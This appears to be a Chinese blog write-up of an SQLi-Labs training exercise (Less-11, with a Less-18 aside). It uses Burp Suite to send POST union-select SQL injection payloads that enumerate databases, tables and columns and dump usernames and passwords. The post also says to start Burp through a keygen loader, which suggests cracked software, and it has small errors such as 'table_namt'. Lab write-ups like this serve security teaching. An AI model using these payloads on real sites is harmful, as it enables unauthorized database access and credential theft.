实验目的:

理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程

实验原理

POST注入,其注入点存在于POST表单中的参数处。攻击者可以通过代理抓包
工具(如Burpsuite)拦截并修改POST表单中的参数,利用union select命令进
行注入,暴露数据库中存储的信息。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-11为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1.访问SQLi-Labs网站

注:因为我把sqli-labs文件名字改为了sql,所以以下sqli-labs均以sql表示

2.利用Burpsuite工具进行抓包

(1)启动Burpsuite

在Burp文件夹中,鼠标左键双击BUPP.cmd程序,即可启动

如果不能启动可以在该文件夹所在的位置输入cmd 进入命令行模式

输入 java -jar BurpLoaderKeygen(1).jar     按Enter

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy"->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择卡“Proxy"->”Intercept”,将拦截开关按钮的状态设置为”Intercept is on”

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择”为全部URLs启用代理服务器127.0.0.1:8080”:

完成之后插件图标会变成蓝色

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-11登录验证界面,输入用户名admin、

密码任意(本例中为1),然后点击Submit按钮,

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Send to Repeater",将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

寻找注入点

在左边最后一行加入后的样子uname=admin’&passwd=1&submit=submit然后点击左上角send报错

改成这样uname=admin’#&passwd=1&submit=submit

不报错 说明存在字符型注入点

改成这样 uname=admin'order by 1#&passwd=1&submit=Submit

查询字段数 1不报错

uname=admin'order by 2#&passwd=1&submit=Submit 2也不报错

uname=admin'order by 3#&passwd=1&submit=Submit  3报错了 说明只有两个字段

uname=admin'and 1=2 union select 1,2#&passwd=1&submit=Submit 判断回显

uname=admin'and 1=2 union select 1,database()#&passwd=1&submit=Submit获取数据库名

uname=admin'and 1=2 union select 1,group_concat(table_namt) from information_schema.tables where

table_schema='security'#&passwd=1&submit=Submit

获取表名

由此可以判断,目标网站在POST参数处存在字符型注入点。
注如果在服务器端(靶机)上查看Less-18的 php代码,会发现其中存在这样一段代码:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下 payload获取网站当前所在数据库的库名:
User-Agent:Mozil1a/5.0.... ..Firefox/46.0' andextractvalue(1,concat( '~' ,database())),",')#显示结果为security.

uname=adminid' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=1&submit=Submit

获取users全部字段

uname=adminid' and 1=2 union select 1,concat_ws(',',id,username,password) from

security.users limit 0,1#&passwd=1&submit=Submit

通过更改limit M,N逐条获取所有值

SQL注入——基于联合查询的POST注入相关推荐

  1. SQL注入--基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  2. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  3. SOL注入——基干联合查询的POST注入(四)

    本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...

  4. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  5. SOL注入——基于联合查询的数字型GET注入(二)

    本章目的 普及数字型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  6. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

  7. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  8. sql注入 union联合查询注入(超详细)

    sql注入 union联合查询注入 我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做. 好的,我们开始第一关! 首先查看sqli-labs第一 ...

  9. 【SQL注入】联合查询(最简单的注入方法)

    目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入  报错查询注入  布尔型注入  延时注入  堆叠查询注入 二.原理: 就是可合并多个查询的结 ...

最新文章

  1. 培养组学对已分离人类细菌和古菌物种库的贡献
  2. Matlab实用程序--图形应用-饼图的绘制
  3. html双击变成可编辑,jquery 实现双击编辑并保存
  4. vue从入门到进阶:简介(一)
  5. C++(STL):13--- list插入和访问元素
  6. java地址传递_关于java中是地址传递还是值传递的测试
  7. [算法题] Search in Rotated Sorted Array
  8. 余承东:华为6G研发还需10年;库克“iPhone 11势头强劲”;TensorFlow 2.0正式版发布​ | 极客头条...
  9. oracle ORA-00001 违反唯一约束条件 SYS_C009225问题
  10. 西南科技大学计算机专业宿舍条件怎么样,西南科技大学宿舍条件,宿舍环境图片(10篇)...
  11. 如何让地面不起灰_水泥地面起灰怎么办?
  12. 2019.02.19 bzoj2655: calc(生成函数+拉格朗日插值)
  13. 后疫情时代,用户到访识别已成为商业地产数字化升级“近义词”
  14. Python语言程序设计基础_实验5 序列型数据_答案_通识教育必修课程_上海师范大学
  15. bzoj 3161: 孤舟蓑笠翁 bfs
  16. 怎么把计算机模式重置,Windows10 WinRE模式下如何重置系统
  17. 一位想学习编程拯救他人的初中生
  18. java项目业绩怎么写,GitHub已标星16k
  19. ActivityManagerService解读之Activity启动时间闲聊--Android Framework层时间计算介绍
  20. PHPExcel导出导入问题”continue” targeting switch is equivalent to “break”.Did you mean to use “continue 2”?

热门文章

  1. Realtek HD声卡无法单路调节录音音量
  2. 卸载重装Android Studio导入先前的版本,或者是误判SDK installed解决方法。(包含window,mac,Linux)
  3. 卡通渲染描边的另一种做法
  4. 从0开始在vue项目中使用quill编辑器
  5. excel如何把单元格内X天XX小时XX分钟转换N小时
  6. 中集集团全球港航人工智能高科技独角兽中集飞瞳贯彻国家智慧港口战略,全球最先进港航AI核心技术和工业级产品超一流智慧港口解决方案
  7. MySQL数据库【MySQL常用图形管理工具】
  8. 如何启动一个 kafka connector (步骤详解+问题解决)
  9. idea配置tomcat服务器方法
  10. Debug模式和Release模式区别